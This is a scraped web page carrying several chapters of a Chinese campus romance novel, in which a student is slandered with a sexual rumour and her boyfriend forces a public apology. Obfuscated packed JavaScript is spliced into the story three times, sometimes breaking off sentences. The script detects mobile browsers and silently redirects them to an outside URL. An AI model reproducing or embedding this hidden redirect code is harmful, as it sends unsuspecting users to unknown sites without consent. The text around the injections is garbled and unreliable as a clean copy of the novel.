;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439716|151652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个不停的水关掉，没有给许由再细想下去的机会。 最开始明明只是刮个胡子的事，两人进了浴室，却在里头磨蹭了近一个小时才出来。 许由本以为，庄彻说的那句不让她吹风是说给电话那头的乔心听的，却不想，庄彻真就以她烧刚退，身体经不得风吹为由，把她扣在自己公寓，安安生生地养了一天的病。 － 周一去到教室，许由刚在位置上坐下，曹方鑫便来了。 他挨着许由坐下。 “许由，”曹方鑫语气迟疑地开口，“你真和庄彻在一起了吗？” 许由不想跟他讨论和庄彻有关的事，只淡淡地回了一个嗯。 曹方鑫却没有让话题就在这里结束的意思。 “我听说庄彻挺渣的，跟女孩子交往都只是玩玩，腻了就丢。你别看他现在对你不错，但你不知道，上学期刚开学那会儿，他把他前女友甩了——” “我知道，”许由打断曹方鑫，语气非常平静，“庄彻的那些事情我都知道。” 曹方鑫不敢置信：“你都知道为什么还要跟他在一起？他对你只是玩玩而已，他就不是个好人，你别跟他走太近——” “曹方鑫。” 许由再一次打断他，语气变得严肃了些：“这是我和庄彻之间的事。” 言外之意，你管得太宽了。 曹方鑫似笑非笑，表情看上去有点扭曲，他忽地又想起什么：“周五那天晚上，他是不是因为看我跟你走得近，所以想单独约我出去，给我一个下马威，让我离你远一点？” 许由闻言心里咯噔一下，下意识地否认：“不是，他不是这样的人。” 她没想到，自己难得撒一次谎，竟然是为了替庄彻遮掩，但曹方鑫没信，嗤笑一声，不再多问。 结果，许由前脚才说了庄彻不是那种人，后脚曹方鑫手机突然响起消息提示音，他拿起看了一眼，把手机丢到许由面前：“你好好看看他到底是什么人。” 手机屏幕上是微信界面，聊天框最上方是许由无比熟悉的那几个符号。 ［－.－：离她远一点。］ － 放学，曹方鑫三两下收拾完东西便头也不回地离开了，没跟许由和邱思思打招呼。 邱思思奇怪地看着他的背影：“他咋了？” 许由沉默，作为同学，之前曹方鑫无论是言语上还是行动上都已经越界了，或许现在这样冷漠疏离的状态才是最好的。 邱思思攀上许由的肩，在她耳边低声道：“我觉得曹方鑫好像喜欢你。” 许由惊愕地看向她：“你不要乱说。” “没乱说，我和陆雨竹都看出来了，就你还傻乎乎地以为人家只是想跟你做朋友。” 邱思思见许由皱眉，明显是不信她的话，掰着手指头给她一一列举：“每次上课，他都要抢着坐你旁边。” “周六那天早上去买菜，我跟你打一把伞，他挑刺说我打得不好，借机把伞拿过去，跟你一起合打。” “还有……” “等一等。”许由越听心里越没底，但还是努力找补道，“那些事可能是因为他本身就比较热情吧，他没这么说过，我们还是别乱猜了，不然被他本人知道了很尴尬的。” 邱思思叹气：“也就只有你会觉得曹方鑫对你是热情了。” “不过话又说回来，你现在在跟庄彻交往，看曹方鑫刚才那样子，应该是不打算继续缠着你了。咝，这么看来，他好像还是有点自知之明的。” 许由勉强挤出个笑，为了不让邱思思继续说下去，拉着她赶紧走了。 23. 第 23 章 回到公寓，刚推开大套间的门，许由便闻到了一股浓浓的饭香，厨房里随之传出一阵嘻嘻哈哈笑闹的声音。 许由进到厨房：“哇，你们在做什么好吃的这么香？” 正趴在岛台上聊天的乔心和南瑾书蓦地收声。 两秒钟后—— “啊啊啊啊啊啊！” “许由，我可算逮到——不是，你可算回来了！” 乔心南瑾书一左一右挽住许由，像是生怕她跑了似的把她围在中间。 乔心：“老实交代，昨天接电话的那个男生是不是你男朋友，你周末都是和他待在一起的吗？” 许由：“……嗯。” 乔心激动地抱起许由手臂晃了晃：“我、的、天！你什么时候跟他在一起的，怎么都不告诉我们。” 许由：“还……没在一起多久，所以就没来得及跟你们说。” “这样啊。” 乔心点点头，随即又兴冲冲地问道：“那他跟你是同学吗？长得怎么样？有多帅？如果他不是个超级大帅比，我是不会同意的哦，我会想尽办法把你从他手里抢回来的！” 南瑾书闻言也附和道：“就是就是，有没有他的照片，给我们看看，我们替你把把关。” 许由失笑：“没有。” “没有？！”乔心诧异，“不可能吧，你们没有拍过合照吗？” 许由顿了顿，缓缓道：“没有。” 她和庄彻从交往到现在，一张合照，甚至于同框照都没有。 乔心还想追问，被南瑾书按住：“行了行了，许由不是说他们还没有交往多久嘛，等以后时间久了，咱们自然而然地就能见到了。” 乔心：“也是。” “好了不说这个了，现在我们有更重要的事情要做。”南瑾书掏出手机，“下个月就要去Ｌ市看演唱会了，我们早点把那两天的住宿定下来吧。” 聊天的同时，电饭煲里的饭煮好了，南瑾书就招呼着许由坐下一起吃，她们边吃边聊。 许由微不可察地松了口气，暗自庆幸她们没有再继续问下去，她们光是知道自己有男朋友了便这么激动，如果知道她的男朋友是庄彻，那房顶大概都会被她俩的尖叫给掀翻。 许由在心里自暴自弃地想，瞒肯定是瞒不住的，能拖多久是多久吧。 演唱会时间在周六晚上，结束时间大概在九点半到十点，太晚了打车什么的都不方便，也不是很安全，于是许由她们最后便定了一个在演唱会场馆附近的酒店，步行十分钟就可以到。 － 许由睡过头了。 她前一天晚上和乔心南瑾书她们订完酒店之后早早的便回了房间，只不过和庄彻在一起的时间久了，许由原本健康的生物钟在他的影响下变得混乱了许多。 许由十一点躺上床，直到凌晨一点过才睡着，然后第二天早上她在迷迷糊糊的状态下关了闹钟，再一睁眼，距离上课时间只剩下不到半个小时。 匆忙洗漱一通，许由抓着包飞速冲出了门。 “许由！这！” 由于到的晚，教室里差不多已经坐满了，许由找了半天，才看见后排角落处正冲自己招手的邱思思。 许由抱着包走过去。 邱思思看着她略有些凌乱的头发问道：“你早上睡过头了？” “嗯。” “我就说嘛，你怎么到的比我还晚。” 许由呼吸还很急促，她一边平复呼吸，一边从包里掏出电脑放到桌上。 “许由？” 曹方鑫的声音从头顶落下，他不知何时出现在许由桌边，皱眉看着许由：“你今天怎么没有帮我占位置？” 他质问的语气和态度太过于理所当然，许由一时反应不过来，有些呆的回答道：“我早上睡过头了，思思来得也晚，到教室的时候已经来了很多人了。” 话落，她听见身旁的邱思思啧了一声，开口道：“许由每天帮我们占座也不是她该的好吧，而且只是连着的位置没有了，前面不是还有单人的座吗，干嘛非要跟我们坐在一起。” 许由拍了拍邱思思的腿，示意她少说几句，然后视线朝前排一扫：“第二排还有一个空位，你可以坐那里。” 曹方鑫沉默几秒，什么也没说便离开了。 曹方鑫离开后，邱思思凑到许由耳边小声耳语：“他好奇怪哦，跟我们明明认识没有多久，为什么能把你给他占座这件事说得这么理直气壮？而且，之前好像都是他主动往你跟前凑的吧，什么时候变成你给他占座了？” 许由但笑不语。 － 小组论文写完交上去之后，曹方鑫彻底跟许由几人断了来往，迎面碰上了连招呼也不打。 许由邱思思都没往心里去，该上课上课，该吃饭吃饭，没过几天，便看见曹方鑫又跟班上另两个中国女生一起去吃饭。 邱思思忍不住吐槽道：“我看他说话做事都不像是ｇａｙ啊，怎么总跟女生走在一块？” 许由闻言好奇道：“你从哪里看出来他不是ｇａｙ的？” “这有什么看不出来的。”邱思思做出一副老神在在的模样，“他对你那么殷勤，一看就对你有意思。” 许由：“……” “你别再否认啦，这可是我和陆雨竹都看出来的事情，。” “而且，我的ｇａｙ蜜跟我刚认识的时候，可没有故意凑到我跟前，跟我脸贴脸的说话。” 邱思思振振有词地说：“曹方鑫平时那些举动，说好听点叫热情，说难听点就叫没有分寸。” 其实许由之前在跟曹方鑫相处时，也曾对他时不时做出的一些亲昵举动感到不舒服过，但她那时并没有多想，只觉得曹方鑫大概是无心的。 现在邱思思又把这事拎出来说，许由顺着她的话深想，也琢磨出来些不对劲。 不过她们现在和曹方鑫已经没什么交集了，再说这些也没意思，许由便找了个由头把话题岔开。 谈笑间，许由看见曹方鑫和那两个女生似乎是朝自己的方向看来一眼，她以为自己看错了，没往心里去。 下午的大课，曹方鑫坐在许由前面两排，还是和中午吃饭的那两个女生坐在一块，他们三人说着话，又回过头来看了许由一眼。 这一次，许由确定了不是自己的错觉，他们就是在看自己。尤其是两个女生的眼神，让许由觉得很不舒服。 许由不知道自己哪里惹到他们了，尤其是她和那两个女生连话都没有说过一句。 放学后，许由想先去个卫生间，便让邱思思先走，反正她俩也不顺路，出了教学楼就得分开。 “……看起来多清纯高冷的一个人，背地里居然这么sao，跟男的乱搞就算了，还喜欢跟人搞暧昧吊着别人，被人戳穿了就冷暴力霸|凌别人，真的好恶心。” “就是，知人知面不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14457394|151652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心——” 许由从隔间里出来，和曹方鑫一道的两个女生正巧在洗手池前洗手，其中一个女生抬头从镜子里看见许由，立刻用胳膊肘拐了拐旁边的女生，示意她别说了。 她们甩着手上的水匆匆离开，许由看着她们略显仓皇的背影，觉得莫名其妙，她们是在躲自己吗？ 晚上回公寓，许由正在做饭，乔心从外面进来，看到许由立刻凑到她身旁：“许由，我今天听到一个你们专业的八卦哎。” “咦，你的煎饼好像糊了。” 许由用锅铲将饼翻了个面：“不是糊了，它就是这个颜色。” 乔心：“？” 许由问：“你说的我们的专业的八卦是什么？” 乔心的注意力从煎饼上转移，她拉过一旁的凳子坐下，准备给许由慢慢道来：“我也是从别人那里听来的。” “就是你们专业有一个中国女生私生活不检点，喜欢跟男生乱｜搞，还爱吊着人，有男生不上当，不愿意当她的备胎，她就欺负孤立那个男生，反正人品挺差的，还说她私生活那么混乱，可能——” 厨房里只有许由和乔心两个人，但乔心还是突然压低了声音：“有那种病。” “听说是挺漂亮的一个女生，你知道是谁吗？” 许由摇头，她压根就没有听过乔心说的这些事。 不对，她听过，下午放学的时候，在教学楼的卫生间里，乔心刚才说的和那两个女生说的事对上了。 “你从哪里听来的？” “我同学跟我说的，她说是她的室友告诉她的，现在好多中国留学生都知道了。” 许由皱眉：“我们专业的中国女生我没有全部接触过，但我感觉她们看上去都不是那种人，是不是有人听错乱传了？” 乔心叹气：“如果真是有人听错乱传，那那个女生可太可怜了。” 她说着拿出手机，随手点开一个中国留学生的大群：“你看，现在群里都在说那件事呢，还在问那个女生是谁。” 许由将煎好的饼盛到盘子里，又从橱柜里拿出两把叉子来：“这种无凭无据、捕风捉影的事咱们还是别掺和了，免得对那个女生造成伤害，等过几天，那些人问不出些什么来的时候，这些谣言自然而然地就会消失了。” “这是我做的松饼，来尝一块。” 乔心慢吞吞地接过叉子，看了一眼盘子里黑漆漆的不明物体：“……好，好吧。” － 次日上午，许由早早地到了教室外，教室里还有人在上课，她便坐在走廊的桌子旁等下课。 没过几分钟，对面突然坐下两个同专业的中国男生。 许由抬眼，就看见两个男生正直勾勾地盯着自己，目光黏腻，像夏天在水泥地上化开的糖浆，沾到一点都会觉得十分恶心。 许由看了眼旁边的空桌，不明白为什么旁边有空桌他们却偏偏要坐这里。 这两个中国男生许由有一点印象，但不多，平时根本没有说过话，今天莫名其妙接近她，看上去不像是什么好事，许由不准备搭理他们。 “……多少钱？” 许由低头刷着手机，并不以为两个男生是在跟自己说话。 “我们在问你话呢。” 其中一个男生见许由不理他们，伸手到许由眼下轻佻打了一个响指，然后在许由看过来的时候再次开口： “你一个晚上，多少钱？” 24. 第 24 章 下课了，教室里上课的学生们鱼贯而出，许由呆呆地坐在椅子里，连那两个男生什么时候离开的都不知道。 “许由？里头人都走了，你怎么不进去？” 后来的邱思思见许由坐在教室门口发呆，一把将她拉起朝教室里走。 许由进到教室，看到那两个男生坐在靠左侧那一大列的第一排，对上她的视线，两个男生不仅没有一点不好意思或者要道歉的意思，反而是用黏腻的目光将她整个人从上到下打量了一遍。 许由心底顿时升起一股恶寒，但这个时候她并没有多想，只当自己是碰到了变态。 直到—— “许由！许由！” 因着刚才教室外的那一出，许由进到教室后就趴在桌上有一搭没一搭地刷着视频，一副无精打采，对什么都提不起兴趣的模样。 邱思思突然疯狂摇晃她的肩膀：“你男朋友，庄彻，他来找你了！” 许由闻声有气无力地支起脑袋，果然看见庄彻正大步跨上台阶。 庄彻今天穿了一身黑，冲锋衣搭配工装裤，脚上穿的也是一双黑色的马丁靴。他脸部轮廓分明，眉眼凌厉，此刻带着一身肃杀的气势朝许由所在的位置走来，活像一个被煞气笼罩的死神，教室里的讨论声都因为他变小了许多。 许由一头雾水，正准备问他来找自己干什么，却见他只是轻飘飘地朝自己扫来一眼，然后便大步掠过她，朝后排走去。 许由：“？” 邱思思见状在她耳边小声耳语：“你们吵架了？他，是来向你示威的？” 许由：“……” 庄彻这一周忙得连跟她在微信上聊天的时间都没有，哪里有空和她吵架，她视线跟着庄彻去到教室后排。 就见庄彻提溜小鸡似的，一把将坐在最后一排角落里的曹方鑫提溜起来，也不管他跟没跟上，直接扯着他的衣领，几乎是把他拖到自己跟前，然后像丢垃圾似的把他一扔。 曹方鑫一个踉跄，跪趴在地上。 “来。” 庄彻居高临下地站在台阶上，声音淡漠，隐约带着点笑意，却让听的人不寒而栗：“给大家说说，你这几天都干了什么好事。” 许由懵懵的，没反应过来现在是个什么情况。 和曹方鑫同行的其中一个女生看不下去，想上来扶他：“有什么话不能好好说，非要揪着人领子把人丢地上？” 庄彻脚啪一下踩上桌沿，挡住女生的路：“我已经是在跟他好、好、说了，不然你以为他现在能全须全尾地跪在这？” 女生的脸一下子就红了。 被气的。 她之前听说过庄彻，知道他行事恣意浪荡，不按常理出牌，但现在这个局势很明显已经不是小打小闹了。 “你当学校是你家开的吗，还想当着教室里这么多人的面欺负人？你信不信我报警。” 庄彻嘴角轻扯：“可以，报吧，看警察来了抓谁。” 许由怕事情真的闹大，赶忙起身去拉他：“你别这样，有什么话好好说。” 庄彻垂眸看着许由，脸色阴沉的可怕，可握住许由手的时候，力道却轻柔。 他按着许由肩膀，让她坐回椅子上，然后像是嫌弃似的，用脚踢了踢曹方鑫的腿，催促道：“你不是挺会编的吗，怎么现在变哑巴了？” 许由见状又要起身：“你别——” “私生活不检点？” “爱勾搭男人？” “喜欢吊着你，孤立你霸｜凌你？” 庄彻耐心耗尽，见曹方鑫始终跟个闷葫芦似的不说话，便只能替他将他做的那些“好事”一一列举出来。 许由听到庄彻的话猛地顿住，手脚涌上一阵一阵的麻意，呼吸也开始变得困难。十分钟前她在教室外莫名遭受的恶意，此刻竟意外地得到了解释。 所以，昨天晚上乔心口中那个“不检点”、“有病”的女生居然是自己吗？ 庄彻见许由脸色苍白，一副失魂落魄、不敢置信的模样，眉头微蹙，再开口时声音愈发的冷了：“曹方鑫，我只给你一次机会。” “要么，当着教室里所有人的面，给许由道歉，解释清楚关于她的那些谣言都是你编造出来，刻意抹黑她的，要么——” “报警，上报学校，让学校看看，今年招了一个什么样的好学生。” “三。” “二——” “对不起！” 曹方鑫趴在地上，根本不敢抬头，颤抖着开口：“许由，对不起，我不该在你背后说你坏话——” “不是坏话。”庄彻打断曹方鑫，“好心”地纠正他，“那叫——造、黄、谣，好好说，注意用词。” 然后他掏出手机，随手往桌上一丢：“这里面有你造｜黄｜谣诽谤许由的所有证据，你但凡说的有一点和我手机里的证据对不上，就重来，直到说对了为止。” 曹方鑫身体抖得更厉害了，脸几乎快贴到地上：“许由，对不起，我不该造你黄｜谣，说你私生活不检点、勾搭男人都是我编的，还有……” 说完，他抬头看向庄彻，目光带着乞求：现在可以了吧。 教室里异常安静，就连一开始帮着曹方鑫的那个女生此刻也站在看热闹的人群里，神情复杂一言不发。 所有人的目光都随着曹方鑫一齐落在庄彻身上。 庄彻勾唇轻笑，懒洋洋地靠在许由座椅旁，单手撑着她的座椅靠背：“这间教室里只有中国人吗？你有没有考虑过那些外国同学的感受呢？他们现在肯定好奇死了，迫、切、的想知道你刚才在说些什么。” “再说一次，用英文，有不会的地方可以问我，我教你。” 曹方鑫犹豫，庄彻也不急，语调散漫地补充道：“如果待会这堂课的教授来了你还没有说完的话，那就我替你说。” 曹方鑫立刻开口：“I,I’msorryfor……” 许由耳边一直在嗡嗡地响，她其实没太听清曹方鑫都说了些什么，曹方鑫的那张脸此刻也变得异常陌生。 忽地，庄彻手搭上她肩膀，轻轻捏了捏。 萦绕在许由耳边的嗡鸣声退去一些，然后她便听见庄彻说：“可不可以不是我说了算，你要问被你造谣的当事人，有没有原谅你。” 曹方鑫眼眶通红，满脸急切地看着许由：“许由，对不起，真的对不起，我一时鬼迷心窍做了那些事，我知道错了，我真的知道错了，你原谅我吧。” 许由心里百感交集，大概过了半分钟，也许只有几秒，才问他：“你为什么这么做？” 曹方鑫被问得一愣：“什么？” 曹方鑫现在的模样十分狼狈，脸上乱七八糟都是泪痕，衣服在刚才的拉扯间也变得凌乱，并且此刻他跪着，许由坐着，他是完全以一个下位者的姿态面对许由。 要说生气，面对着这么一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚结束一场“大戏”，上课时大家很明显不在状态，许由时不时就能感觉到从教室各处朝自己投来的视线，她埋头做笔记，没过多在意。 “握草！” 身旁的邱思思突然发出一声小声的惊呼。 许由转头，立刻被邱思思的手机贴脸，她语气急促：“你快看这个！” ［2３-2４Ｎ大新生二手群：视频］ ［2３-2４Ｎ大新生二手群：视频］ 许由接过手机，点开，是刚才曹方鑫当着全教室的人，承认他的所作所为并对她道歉的视频，是从教室第一排往上的仰拍角度，她和庄彻的脸毫无阻挡地出现在了镜头里。 大概是看热闹的人拍下来的，许由退出视频，点进第二个，以为会是从另外的角度拍的视频，却不想第二个视频和第一个视频一模一样。 邱思思见怪不怪地道：“应该是这个人手滑了，又发了一次。” 结果下一秒，视频下方突然出现一排英文的小字。 许由大脑迟缓地转动，看了半天才反应过来，那排英文小字是在翻译视频里庄彻正在对曹方鑫说的话。 所以，连发两个视频不是手滑，而是一个“中文原版”，一个“英文翻译版”。 25. 第 25 章 许由是个慢性子的人，平时下课她都是不慌不忙地收拾东西，邱思思对此表示过不理解，其他事情上不着急就算了，下课怎么可以不着急呢？ 但今天下课后，邱思思刚合上自己的电脑，余光就瞥见身旁的许由抓着包“嗖”地一下冲了出去。 “哎，许由，你去哪啊？” 邱思思的声音被周围嘈杂的说话声掩盖。 许由径直去到第一排，也就是之前在教室外对着她开黄｜腔的那两个男生座位前，迎着两个男生疑惑的目光，掷地有声地开口： “道歉。” 其中一个男生被气笑了：“你有病吧，造你谣泼你脏水的人是曹方鑫，你来找我们干什么？再说，人家都已经道歉了，你还揪着不放，有点小心眼了吧。” 教室的座位分为两大列，每一大列的每一排有五个座位，中间的过道是唯一的进出口。 许由此刻就堵在出口处，那两个男生连着坐在这一排的人都无法离开，听到男生的话，许由还是一动不动。 “让开。”站在最外侧的男生耐心耗尽冲她吼道。 许由仰头看他，语气依旧平淡：“为你们之前在教室外对我说的话，道歉。” 之前曹方鑫道歉的热度还没有退去，此刻许由突然又跑去另外两个男生面前让他们道歉，周围人见状，朝教室外走的脚步不约而同地变成了原地踏步，并且这一次，懂事的人已经开始给身旁的外国同学翻译了。 两个男生顶着众人看热闹的目光，梗着脖子反驳道：“我们对你说什么了你就让我们道歉？别以为现在有庄彻给你撑腰，你就可以逮谁咬谁，随便污蔑人！” “这节课上课前，你们在教室外面问我，一个晚上多少钱。” 许由话音落下，沉默以她为中心，迅速蔓延至整间教室。 邱思思恰在此刻收拾好东西来到许由身旁，听到许由的话后瞬间爆炸，袖子一挽屁｜股一扭，将许由挤开，自己站到那两个男生面前指着他俩的鼻子道：“握草，道歉！你们给我，立、刻、道、歉！” 其中矮个子戴眼镜的男生扫了一眼周围人的反应，仍在嘴硬：“你还是不是女的，这种下流话也好意思说出口，真不要脸。” 他又看向许由，目光讥讽：“也许，曹方鑫还真没说错，你私生活要是不混乱，能随随便便就说出来这些话吗？” 许由按下跳脚的邱思思，不卑不亢地回击男生的话：“这和我是不是女生没关系，也和我私生活混不混乱没关系。” “不管我是什么样的人，都不能成为你们对我随意开黄｜腔的理由。” “对我一个女生说出这句话的你们，才是真的不要脸，用下流龌龊的词语去抹黑伤害女生，是阴沟里的老鼠才会做的事。” “你凭什么说我们对你说了那句话，有人听到了吗？你这是造谣污蔑！”另外一个高个子男生刻意高声道。 “我听到了，”许由声音平和又坚定，那双向来温婉柔和的眸子里此刻没有一丝一毫的惧色，“所以你们要向我道歉。” “我也听到了。” 一道利落的女声落下，随即，台阶上站着看热闹的人里走出来一个女生，许由看过去，发现是之前庄彻来找曹方鑫算账时，替曹方鑫说话的女生。 “我当时就在走廊拐角，听到你们问她，‘一个晚上多少钱’。问第一次的时候她没有回答，你们还问了第二遍。” 女生站到许由身旁，许由朝她投去感激的一眼。 两个男生见事情闹大，担心拖久了把庄彻那个“活阎王”又招过来，只得不情不愿地当着一教室的人的面道了歉。 “谢谢。” 事情结束后，许由郑重地向那个女生道谢。 女生不好意思地摆摆手：“可千万别，我之前……因为曹方鑫说的那些话误会你了，背地里也说了你不少坏话，这次就算是我向你赔罪了。” 许由笑笑：“那我们现在就算扯平了。” 吃瓜结束，人群如潮水般散去，许由和邱思思算是最后几个走出教室的，正好和走廊另一头正朝这边走的庄彻面对面碰上。 邱思思拍了拍许由的肩膀：“我先回去啦，下周见。” 和庄彻擦肩而过时，庄彻笑着朝她微微颔首，似乎是对她如此上道的举动感到满意。 “怎么这么晚才出来，我等你半天了。”庄彻走到许由面前，抬手替她将耳边的碎发拢到耳后，又把她脖子上松松垮垮的围巾给紧了紧。 许由脸小，围巾一拉就挡住了大半张脸，只剩下一双黑白分明的眼睛露在外面，她垂眼，眼睫在白皙的皮肤上投下一小片灰色的阴影，她含糊地答：“有点事情。” 庄彻眼底闪过一丝不悦：“曹方鑫找你麻烦了？” 许由赶忙摇头：“不是，是另外的事情，我已经把它解决了。” 庄彻盯着许由看了会儿，不再多问，转而问道：“中午想吃什么？” 许由想了想：“中餐？” 从学校回许由公寓的路上有一家中餐馆，味道不错，今天庄彻怎么说也算是帮许由讨回公道出了口恶气，不然她还傻傻地被蒙在鼓里呢，所以她想请庄彻吃顿好的，算是感谢。 庄彻似是看出她所想，眼中笑意更深：“中午不行，我下午有课来不及，晚上吃吧。” 中午休息时间短，再加上许由刚才“算账”又浪费了一点时间，两人最后去到了就开在学校里的一家快餐店。 点完餐，许由掏出卡包想给钱，被庄彻抢先。 “晚上那顿你请。”他笑嘻嘻地说。 也行，许由把卡包收起来。 快餐店餐食的种类不多，两个人都点的是咖喱猪排，等菜上来后，庄彻一手端着一盘，领着许由在空桌坐下。 “新生二手群里的那两个视频，是你让人发的吗？”许由一边接过庄彻递来的叉子，一边问道。 在看到第一条没有字幕的视频时，许由只当是教室里其他同学凑热闹吃瓜拍的，没多想。但看到第二条一模一样但带着英文字母的视频后，许由越想越觉得不对劲，就算是吃瓜，谁会多此一举的去给视频加上英文字幕呢，还是在那么短的时间内。 除了庄彻，许由想不出第二个人，那可想而知这条视频，应该也是庄彻让人拍的。 并且除了二手群，很快那两条视频便出现在了许由加的各种各样的微信群里，就连许由的公寓群也有人转发了那两条视频。 庄彻大方承认：“是我。” “这事光在你们班同学面前澄清没用，你知道我第一次听到那些谣言是谁跟我说的吗？” 庄彻问着话，拿叉子挑走了许由盘子里的一块胡萝卜丁。 许由眨巴着眼睛看着他，里头满满的求知欲：“谁？” 庄彻喉结上下滚了滚，眼底浮起一抹黯色，嘎嘣一下咬碎嘴里的胡萝卜丁：“刘恒睿，新交的白人女友。” 许由咋舌，怪不得庄彻要让曹方鑫用中英双语道歉，她先前还以为庄彻只是在为难曹方鑫。 她撇撇嘴，没好气地说：“曹方鑫一开始应该只是想过过嘴瘾，但他没想到事情最后会闹得这么大。” 庄彻继续从许由的盘子里挑胡萝卜吃，闻言哼笑道：“管他想没想到，既然做了，那无论后果严重与否，都是他必须承担的。” 许由对庄彻的话不置可否，庄彻的方法虽然过激了些，但却是最直接最有效的，她并不可怜曹方鑫。 正想着，见庄彻拿起叉子又要往自己的盘子来，许由思路成功被扯偏：“你不是有吗，干嘛老吃我碗里的。” 庄彻好笑地反问：“我帮你把你不爱吃的胡萝卜吃了你还不乐意？” 许由又不说话了。 庄彻看着许由，漆黑的瞳孔异常平静。 像是暴风雨前最后的宁静。 今天的许由比起往常，要格外的，乖。就像是一只顺了毛的猫，无论你怎么摸，就算是把她摸到不耐烦了，她也只会用柔软的爪子扒拉你一下。 庄彻当然知道这是因为什么，许由在感激他上午在教室里做的那些事。 但他可不是什么好人，许由但凡退一步，他就会坏心思地进十步。 吃完饭，他拉着许由去到下午上课的教学楼，在一楼大厅找了个最角落的沙发坐下。 许由只当他是嫌一个人待着无聊，打算在这里陪到他上课再回去，反正她下午也没什么事。 但刚一坐下，下巴便被一只有力的手紧紧锁住，灼热的唇随即覆上来。 庄彻丝毫不给许由适应的时间，舌尖灵活地撬开她的齿关，勾缠□□。 许由听到不远处大厅往来的脚步声，惊恐地瞪大眼睛想要推开他，却被趁机进得更深。 庄彻将许由逼进沙发和墙形成的角落里，退无可退，只能被动地承受着他无节制的索取。 唇齿交缠的声音逐渐盖过许由的轻哼。 呼吸被掠夺，天旋地转间，许由找回一丝神智，用力咬了一下，庄彻吃痛松口。 “现在是在外面！”许由压低声音警告道。 庄彻的手从捏着她的下巴转为扶在她的脑后，说话的时候又忍不住贴上来，变为模糊不清的低语：“不是说要请我吃顿好的吗？先来道前菜不过分吧。” 等庄彻终于心满意足地放开她，她的眼睛和唇瓣都浮着一层潋滟的水色。 庄彻捧着许由的脸，和她额头相抵，仍流连在她的唇上难舍难分：“我下午不去上课了好不好？” 许由狠狠瞪他一眼：“你疯了！” 庄彻被她这一眼瞪得心痒，脸埋进她颈侧，用力箍住她的腰，声音闷闷的，听上去还有点委屈。 “现在是在外面，别勾我。” 许由：…… － 回到公寓，许由径直冲向厨房，她渴得慌，从冰箱里拿出昨天喝剩下的半瓶果汁解渴。 厨房里很安静，乔心和南瑾书都不在。 “砰！” 许由刚端着杯子在桌边坐下，外面突然传来一声重重的关门声，下一秒，厨房门被人大力推开，乔心出现在门口，她急匆匆地走到许由身边，担忧地问打量着许由的脸色：“许由，你没事吧？” “我没事，都解决了。” 南瑾书听到声音也很快赶到厨房，很显然，她们都看到了那两段视频。 许由心底涌上来一股暖流。 这件事情闹得很大，那些不了解她的人被言语误导，但是她身边的朋友始终坚定不移地站在她身旁。 这让许由觉得自己很幸运。 “谢谢你们——” “你跟庄彻是怎么回事呀？你新交的男友居然是他吗？” “……” 该来的还是来了。 许由点头：“嗯。” 乔心一脸兴奋地趴在桌上：“是不是跨年夜那天晚上，你们两个一见钟情？” 许由磕巴地回答道：“一见钟情……其实算不上……” 回想二人的初次见面，庄彻应该只是觉得她这个人有意思，对她产生了探究的兴趣，后面才会一而再再而三地出现在她面前。 “我的天，在烟花下一见钟情好浪漫哦。”乔心选择性听自己想听的部分，她捧着脸，两只眼睛都在往外冒着粉红色泡泡，但很快，她又嗔怪地看了一眼许由：“你交了一个这么帅的男朋友，为什么藏着掖着不让我们知道？” “那可是庄彻哎！” 南瑾书突然用胳膊肘拐了一下她，乔心看过去，对上南瑾书暗含深意的目光，忽地想起来跨年夜那天晚上，她们三人在河边的对话。 庄彻这样的人，是抓不住的风，捧不住的水，他会经过你，却不会在你身边停留。 许由苦笑，也不打算瞒着乔心南瑾书：“因为庄彻他……所以我觉得这段感情大概率走不了多久，就没有跟你们说。” …… 气氛变得沉默，南瑾书觉得她们公寓厨房的风水似乎和许由相冲，不然怎么每次许由在厨房跟她们讨论起感情问题，气氛都会瞬间急转而下，变得沉闷。 “呃，但是至少现在看来，庄彻对你还是很好的。”南瑾书努力找补道，“我们都还不知道那则谣言里说的人就是你呢，他就已经查到传播谣言的人的头上，还当着你们班上所有同学的面让他给你道歉，其他的暂且不提，这事干得是真漂亮。” “就是就是。” 乔心小鸡啄米般疯狂点头，毫不吝啬自己的夸赞：“单就这件事情来说，我宣布，庄彻是我认识的留子里，最有种的男人。” “确实。” 前几天许由在卫生间里撞见两个女生聊八卦时，压根没有想到她们口中“随便的女生”会是自己。 细想想，和庄彻相处至今，他除了有些时候比较霸道强势外，其他方面其实都还挺好的，上周六她发烧还照顾了她一晚上。 只不过，和庄彻初见时的场景始终像根刺一样扎在许由心里。她无数次沉溺在庄彻漆黑的眸光里，然后又被那点细微的疼痛拉扯着，恢复清醒。 她不知道庄彻对自己的真心，能够支撑这段感情继续走多久，她唯一能做的，就是在这段感情里逼迫自己保持清醒，以换来一个体面的结束。 再者，许由是独生女，从小被父母宠到大，家里不缺钱，但和庄彻身后财力权力都雄厚的家庭背景比起来，就是小巫见大巫了。 